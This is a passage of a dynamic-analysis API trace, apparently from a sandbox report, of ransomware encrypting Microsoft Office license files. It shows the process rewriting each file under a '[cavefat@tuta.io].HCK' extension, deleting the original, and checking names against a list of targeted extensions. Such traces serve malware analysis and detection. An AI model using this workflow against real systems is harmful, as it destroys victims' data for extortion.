lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.223] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.224] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.224] GetLastError () returned 0x0 [0237.224] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d38, lpOverlapped=0x0) returned 1 [0237.226] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0237.227] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.227] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x106, lpOverlapped=0x0) returned 1 [0237.227] SetEndOfFile (hFile=0x4a0) returned 1 [0237.227] CloseHandle (hObject=0x4a0) returned 1 [0237.227] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.227] SetEndOfFile (hFile=0x4d4) returned 1 [0237.229] CloseHandle (hObject=0x4d4) returned 1 [0237.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString=".doc") returned 4 [0238.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".docx") returned 5 [0238.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.111] lstrlenW (lpString=".pdf") returned 4 [0238.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".xls") returned 4 [0238.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".xlsx") returned 5 [0238.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.111] lstrlenW (lpString=".ppt") returned 4 [0238.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString=".zip") returned 4 [0238.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".rar") returned 4 [0238.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".bz2") returned 4 [0238.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString=".7z") returned 3 [0238.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString=".dbf") returned 4 [0238.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString=".1cd") returned 4 [0238.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.111] lstrlenW (lpString=".jpg") returned 4 [0238.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString=".doc") returned 4 [0238.112] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".docx") returned 5 [0238.112] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.112] lstrlenW (lpString=".pdf") returned 4 [0238.112] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".xls") returned 4 [0238.112] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".xlsx") returned 5 [0238.112] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.112] lstrlenW (lpString=".ppt") returned 4 [0238.112] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString=".zip") returned 4 [0238.112] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".rar") returned 4 [0238.112] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".bz2") returned 4 [0238.112] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString=".7z") returned 3 [0238.112] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString=".dbf") returned 4 [0238.112] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString=".1cd") returned 4 [0238.112] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0238.112] lstrlenW (lpString=".jpg") returned 4 [0238.112] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.112] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.112] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33 [0238.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.265] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=22093) returned 1 [0238.265] CloseHandle (hObject=0x560) returned 1 [0238.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0238.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.266] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.266] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.267] GetLastError () returned 0x0 [0238.267] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x564d, lpOverlapped=0x0) returned 1 [0238.270] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.271] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.271] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0238.271] SetEndOfFile (hFile=0x554) returned 1 [0238.272] CloseHandle (hObject=0x554) returned 1 [0238.272] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.272] SetEndOfFile (hFile=0x560) returned 1 [0238.274] CloseHandle (hObject=0x560) returned 1 [0238.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0238.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.275] lstrlenW (lpString=".doc") returned 4 [0238.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.275] lstrlenW (lpString=".docx") returned 5 [0238.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.275] lstrlenW (lpString=".pdf") returned 4 [0238.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.275] lstrlenW (lpString=".xls") returned 4 [0238.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.275] lstrlenW (lpString=".xlsx") returned 5 [0238.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.275] lstrlenW (lpString=".ppt") returned 4 [0238.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".zip") returned 4 [0238.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".rar") returned 4 [0238.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".bz2") returned 4 [0238.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".7z") returned 3 [0238.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".dbf") returned 4 [0238.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".1cd") returned 4 [0238.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".jpg") returned 4 [0238.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".doc") returned 4 [0238.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".docx") returned 5 [0238.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.276] lstrlenW (lpString=".pdf") returned 4 [0238.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".xls") returned 4 [0238.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".xlsx") returned 5 [0238.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.276] lstrlenW (lpString=".ppt") returned 4 [0238.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.276] lstrlenW (lpString=".zip") returned 4 [0238.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".rar") returned 4 [0238.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.276] lstrlenW (lpString=".bz2") returned 4 [0238.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.277] lstrlenW (lpString=".7z") returned 3 [0238.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.277] lstrlenW (lpString=".dbf") returned 4 [0238.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.277] lstrlenW (lpString=".1cd") returned 4 [0238.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0238.277] lstrlenW (lpString=".jpg") returned 4 [0238.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.277] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33 [0238.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.278] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10667) returned 1 [0238.278] CloseHandle (hObject=0x560) returned 1 [0238.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0238.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.284] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.284] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.285] GetLastError () returned 0x0 [0238.285] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0238.287] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.288] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.288] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0238.288] SetEndOfFile (hFile=0x554) returned 1 [0238.288] CloseHandle (hObject=0x554) returned 1 [0238.288] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.288] SetEndOfFile (hFile=0x560) returned 1 [0238.290] CloseHandle (hObject=0x560) returned 1 [0238.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0238.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.292] lstrlenW (lpString=".doc") returned 4 [0238.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".docx") returned 5 [0238.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.292] lstrlenW (lpString=".pdf") returned 4 [0238.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".xls") returned 4 [0238.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".xlsx") returned 5 [0238.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.292] lstrlenW (lpString=".ppt") returned 4 [0238.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.292] lstrlenW (lpString=".zip") returned 4 [0238.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".rar") returned 4 [0238.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".bz2") returned 4 [0238.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.292] lstrlenW (lpString=".7z") returned 3 [0238.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".dbf") returned 4 [0238.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".1cd") returned 4 [0238.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".jpg") returned 4 [0238.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".doc") returned 4 [0238.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".docx") returned 5 [0238.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.293] lstrlenW (lpString=".pdf") returned 4 [0238.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".xls") returned 4 [0238.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".xlsx") returned 5 [0238.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.293] lstrlenW (lpString=".ppt") returned 4 [0238.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".zip") returned 4 [0238.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".rar") returned 4 [0238.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".bz2") returned 4 [0238.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString=".7z") returned 3 [0238.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".dbf") returned 4 [0238.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".1cd") returned 4 [0238.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0238.293] lstrlenW (lpString=".jpg") returned 4 [0238.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.293] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.293] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0238.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.294] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=22094) returned 1 [0238.294] CloseHandle (hObject=0x560) returned 1 [0238.294] 